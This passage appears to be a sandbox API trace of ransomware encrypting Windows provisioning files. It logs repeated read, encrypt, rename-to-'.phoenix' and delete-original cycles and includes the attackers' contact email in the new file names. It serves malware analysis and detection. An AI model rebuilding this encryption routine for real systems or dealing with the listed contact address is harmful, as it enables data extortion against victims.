	[0254.698] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\559__connections_cellular_orange (tunisia)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.699] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.699] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\55__connections_cellular_oi (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.700] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=704) returned 1
	[0254.700] CloseHandle (hObject=0x2f4) returned 1
	[0254.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\55__connections_cellular_oi (brazil)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\55__connections_cellular_oi (brazil)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.700] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\55__connections_cellular_oi (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.700] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.700] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.700] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\55__connections_cellular_oi (brazil)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.701] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0254.701] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.701] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c0, lpOverlapped=0x0) returned 1
	[0254.703] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0254.703] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0254.704] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0254.704] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.704] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0254.704] CryptDestroyKey (hKey=0x151180) returned 1
	[0254.704] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0254.704] CryptDestroyKey (hKey=0x151280) returned 1
	[0254.704] CloseHandle (hObject=0x2f4) returned 1
	[0254.704] CloseHandle (hObject=0x2d8) returned 1
	[0254.704] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\55__connections_cellular_oi (brazil)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.705] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.706] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\560__connections_cellular_orange (tunisia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.706] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=723) returned 1
	[0254.706] CloseHandle (hObject=0x2d8) returned 1
	[0254.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\560__connections_cellular_orange (tunisia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0254.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\560__connections_cellular_orange (tunisia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.707] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\560__connections_cellular_orange (tunisia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.707] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.707] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.707] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\560__connections_cellular_orange (tunisia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.708] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0254.708] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.708] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d3, lpOverlapped=0x0) returned 1
	[0254.709] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0254.709] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0254.710] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151700) returned 1
	[0254.710] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.710] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0254.710] CryptDestroyKey (hKey=0x151700) returned 1
	[0254.710] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0254.711] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0254.711] CloseHandle (hObject=0x2d8) returned 1
	[0254.711] CloseHandle (hObject=0x2f4) returned 1
	[0254.711] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\560__connections_cellular_orange (tunisia)_i1$(__mvid)@wap.provxml")) returned 1
	[0254.712] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.712] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\561__connections_cellular_orange (tunisia)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.712] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=722) returned 1
	[0254.712] CloseHandle (hObject=0x2f4) returned 1
	[0254.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\561__connections_cellular_orange (tunisia)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0254.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\561__connections_cellular_orange (tunisia)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.713] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\561__connections_cellular_orange (tunisia)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.713] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.713] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.713] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\561__connections_cellular_orange (tunisia)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.714] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0254.714] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.714] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d2, lpOverlapped=0x0) returned 1
	[0254.715] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0254.715] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0254.716] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151280) returned 1
	[0254.716] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.716] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0254.716] CryptDestroyKey (hKey=0x151280) returned 1
	[0254.716] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0254.717] CryptDestroyKey (hKey=0x151740) returned 1
	[0254.717] CloseHandle (hObject=0x2f4) returned 1
	[0254.717] CloseHandle (hObject=0x2d8) returned 1
	[0254.717] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\561__connections_cellular_orange (tunisia)_i2$(__mvid)@wap.provxml")) returned 1
	[0254.718] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.718] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\562__connections_cellular_orange (tunisia)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.719] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=727) returned 1
	[0254.719] CloseHandle (hObject=0x2d8) returned 1
	[0254.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\562__connections_cellular_orange (tunisia)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0254.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\562__connections_cellular_orange (tunisia)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.719] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\562__connections_cellular_orange (tunisia)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.719] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.719] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.719] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\562__connections_cellular_orange (tunisia)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.720] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151380) returned 1
	[0254.720] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.720] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d7, lpOverlapped=0x0) returned 1
	[0254.746] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0254.746] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0254.747] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151100) returned 1
	[0254.747] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.747] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0254.747] CryptDestroyKey (hKey=0x151100) returned 1
	[0254.747] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0254.747] CryptDestroyKey (hKey=0x151380) returned 1
	[0254.747] CloseHandle (hObject=0x2d8) returned 1
	[0254.747] CloseHandle (hObject=0x2f4) returned 1
	[0254.747] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\562__connections_cellular_orange (tunisia)_i3$(__mvid)@wap.provxml")) returned 1
	[0254.748] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.748] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\563__connections_cellular_orange (tunisia)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.749] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=723) returned 1
	[0254.749] CloseHandle (hObject=0x2f4) returned 1
	[0254.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\563__connections_cellular_orange (tunisia)_i4$(__mvid)@wap.provxml")) returned 0x20
	[0254.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\563__connections_cellular_orange (tunisia)_i4$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
